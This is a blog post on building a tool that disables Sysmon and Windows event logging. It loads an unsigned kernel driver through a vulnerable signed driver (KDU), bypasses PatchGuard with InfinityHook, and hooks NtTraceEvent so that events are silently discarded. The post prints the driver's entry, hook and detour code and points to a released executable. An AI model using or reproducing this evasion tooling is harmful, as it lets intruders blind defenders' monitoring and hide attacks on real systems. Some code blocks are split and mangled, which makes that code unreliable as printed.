

<https://blog.dylan.codes/evading-sysmon-and-windows-event-logging/>

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# Universally Evading Sysmon and ETW

The `source code` and `latest release` are both available.

`Sysmon` and `windows event log` are both extremely powerful tools in a defender's arsenal. Their very flexible `configurations` give them a great insight into the activity on endpoints, making the process of detecting attackers a lot easier. It's for this reason that I'm going to lead you through my journey in defeating them ;)

There's been some great research into this by `xpn` and `matterpreter`. Their solutions are both good but don't quite reach my needs of a fully universal bypass. `Matterpreter`'s method of unloading the driver does technically, but

unloading the driver feels like a dirty way of

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triggered from it.

In order to be able to figure out how to bypass it, it's vital to first understand how it works. This post by @dotslashroot gives a really good insight into this and I really recommend you read it before carrying on.

We now understand that ETW (Event Tracing for Windows) is responsible for handling the reporting of the events caught in the kernel drivers' callbacks, but how does sysmon's user mode process actually report it?

Firing up Ghidra and throwing in `sysmon64.exe`, we can see that it uses the `ReportEventW` Windows API call to report the event.

Now that we know this, it would be possible to just hook this call and filter/block events from there... but what's the point in that? We would still need admin privs to do that and I think we could put them to better use.

Going deeper down the call chain and looking at `ReportEventW` in `ADVAPI32.dll` we can see that its essentially a wrapper around `EtwEventWriteTransfer` which is defined in `NTDLL.dll`.

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Examining `EtwEventWriteTransfer` we can see it ca 2019

kernel function `NtTraceEvent` which is defined inside `ntoskrnl.exe`.

We now know that this function will be called by any user mode process that wants to report an event, Awesome! Here's a quick diagram to visualize this process.

Now that we know what kernel function it is that we want to target let's focus on testing to see if this will actually work. To do this I'm going to be using WinDBG kernel debugging, more information on that can be found [here](#).

I'll start by setting a breakpoint at `nt!NtTraceEvent` then once this breakpoint is hit I will then patch the very start of the function with a `ret`. This will force the function to return straight away, before any of the event reporting code is run.

And it worked! If you look below you will see that I'm able to launch a powershell prompt without any sysmon events being triggered.

So now we have a working PoC its time to start writing code. The code we want to write will need to hook

`NtTraceEvent` and give us the choice if we want to

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event or not. Since the function we are targeting is a kernel function we will need to have our hooking code running inside kernel space as well. There are two main problems we are going to encounter when we try to do this.

- Kernel driver signing enforcement
- PatchGuard

Luckily there are two super cool projects already around for the purpose of defeating them, KDU by @hFireF0x and InfinityHook. I won't go into detail about how they both work as there's a lot of information at their respective links about that, But I'm happy because this saved me a lot of time as I don't need to write my own bypasses.

I'll start by writing the code to run in the kernel, a link to it all can be found [here](#). Right at the start of the `DriverEntry` we are going to need to locate the export of both `NtTraceEvent` and `IoCreateDriver`. The reason we need to find `IoCreateDriver` is because of KDU. It will load our driver by loading and exploiting a signed driver and then bootstrap ours into kernel space, this method of loading our driver will mean that both the `DriverObject` and `RegistryPath` passed to `DriverEntry` will be incorrect. But because we need to be able to communicate with our user mode process (so we know when to report and block events) we will need to create a valid `DriverObject`. We can do this by calling `IoCreateDriver` and

giving it the address of our `DriverInitialize` routine.

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`DriverInitialize` will then be called and passed a `DriverObject`

which can then finally be used to create an IOCTL, letting us speak to user mode. This code snippet is below.

```
NTSTATUS DriverEntry(
    _In_ PDRIVER_OBJECT DriverObject,
    _In_ PUNICODE_STRING RegistryPath)
{
    NTSTATUS status;
    UNICODE_STRING drvName;

    UNREFERENCED_PARAMETER(DriverObject);
    UNREFERENCED_PARAMETER(RegistryPath);

    DbgPrintEx(DPFLTR_DEFAULT_ID, DPFLTR_INFO_LEVEL, "[+] infinityhook:
Loaded.\r\n");

    OriginalNtTraceEvent =
(NtTraceEvent_t)MmGetSystemRoutineAddress(&StringNtTraceEvent);

    OriginalIoCreateDriver =
(IoCreateDriver_t)MmGetSystemRoutineAddress(&StringIoCreateDriver);

    if (!OriginalIoCreateDriver)
    {
        DbgPrintEx(DPFLTR_DEFAULT_ID, DPFLTR_INFO_LEVEL, "[-]
infinityhook: Failed to locate export: %wZ.\n", StringIoCreateDriver);

        return STATUS_ENTRYPOINT_NOT_FOUND;
    }
}
```

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if (!OriginalNtTraceEvent)

{

DbgPrintEx(DPFLTR\_DEFAULT\_ID, DPFLTR\_INFO\_LEVEL, "[-

infinityhook: Failed to locate export: %wZ.\n", StringNtTraceEvent);

return STATUS\_ENTRYPOINT\_NOT\_FOUND;

}

RtlInitUnicodeString(&amp;drvName, L"\\Driver\\ghostinthelogs");

status = OriginalIoCreateDriver(&amp;drvName, &amp;DriverInitialize);

DbgPrintEx(DPFLTR\_DEFAULT\_ID, DPFLTR\_INFO\_LEVEL, "[+] Called

OriginalIoCreateDriver status: 0x%X\n", status);

NTSTATUS Status = IfhInitialize(SyscallStub);

if (!NT\_SUCCESS(Status))

{

DbgPrintEx(DPFLTR\_DEFAULT\_ID, DPFLTR\_INFO\_LEVEL, "[-

infinityhook: Failed to initialize with status: 0x%x.\n", Status);

}

return Status;

}

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Once we have located our exports and got a valid `DriverObject` we can now use `InfinityHook` to initialize our `NtTraceEvent` hook. The function `IfhInitialize` does this. I call `IfhInitialize` and pass it a pointer to my callback. This callback will be hit every time a syscall is made. The callback is given a pointer to the address of the function about to be called.

Having access to this pointer means we can change

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code is shown below.

```
void __fastcall SyscallStub(
    _In_ unsigned int SystemCallIndex,
    _Inout_ void** SystemCallFunction)
{
    UNREFERENCED_PARAMETER(SystemCallIndex);

    if (*SystemCallFunction == OriginalNtTraceEvent)
    {
        *SystemCallFunction = DetourNtTraceEvent;
    }
}
```

This code will redirect every call to `NtTraceEvent` to our `DetourNtTraceEvent`. The code for `DetourNtTraceEvent` is shown below.

```
NTSTATUS DetourNtTraceEvent(
    _In_ PHANDLE TraceHandle,
    _In_ ULONG Flags,
    _In_ ULONG FieldSize,
    _In_ PVOID Fields)
{
    if (HOOK_STATUS == 0)
    {
```

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return OriginalNtTraceEvent(TraceHandle, Flags,

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```
}  
  
return STATUS_SUCCESS;  
  
}
```

This code is very simple. It'll check to see if `HOOK_STATUS` (set by the user mode process via an IOCTL) is 0, if it is then it will carry out a call to `NtTraceEvent`, therefore reporting the event. If `HOOK_STATUS` is nonzero it will just return `STATUS_SUCCESS` signifying that the event was reported successfully, which of course it wasn't. It would be cool if someone could figure out how to parse the `Fields` parameter so it would be possible to apply a filter to the events being reported, if you reach out to me I'll give you all the info I've got about it and show you how far I've got with it as well, we might be able to work it out ;)

Because I want to keep this all as a single executable, I will be embedding this driver inside of the executable, so when it needs to be used it'll be unpacked and then KDU will load it to the kernel.

I won't go into detail about the rest of the code as its mostly KDU and interacting with the driver from user mode, but if you're interested you can find it [here](#).



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# So does it work?

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Yep :) Well on everything I've tested it on, if you find something its doesn't work on or any general bugs let me know and I'll try to fix them. Also, I'm not a programmer so my code is going to be far from perfect but feel free to make any pull requests with any cool features you can think of!

Here's some examples of it running and its various features.

Loading the driver and setting the hook

Enabling the hook (disabling all logging)

Getting the status of the hook

Disabling the hook (enabling all logging)

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If you still reading then thanks for sticking around. You can get updates about new projects and any other stuff I'm up to on my twitter.

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Dylan Halls

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